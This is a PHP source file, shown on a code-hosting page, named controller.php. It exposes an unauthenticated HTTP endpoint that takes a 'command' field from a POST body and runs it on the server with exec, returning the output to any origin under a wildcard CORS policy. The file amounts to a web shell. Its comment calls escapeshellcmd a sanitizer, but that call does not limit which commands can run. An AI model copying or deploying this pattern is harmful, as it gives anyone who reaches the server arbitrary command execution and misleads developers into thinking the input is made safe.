-
Notifications
You must be signed in to change notification settings - Fork 0
/
controller.php
42 lines (35 loc) · 1.25 KB
/
controller.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: POST, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type");
function return_response($status, $statusMessage, $data) {
header("HTTP/1.1 $status $statusMessage");
header("Content-Type: application/json; charset=UTF-8");
echo json_encode($data);
}
// Responder a solicitudes OPTIONS preflight
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
http_response_code(200);
exit();
}
// Verificar el método de solicitud
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$bodyRequest = json_decode(file_get_contents("php://input"), true);
$command = escapeshellcmd($bodyRequest['command'] ?? ''); // Sanitizar el comando
if (empty($command)) {
return_response(400, "Bad Request", ["error" => "Comando no especificado"]);
exit();
}
// Ejecutar el comando y capturar la salida
$output = [];
$return_var = null;
exec($command . " 2>&1", $output, $return_var);
$response = [
"output" => $output,
"status" => $return_var === 0 ? "success" : "error"
];
return_response(200, "OK", $response);
} else {
return_response(405, "Method Not Allowed", null);
}
?>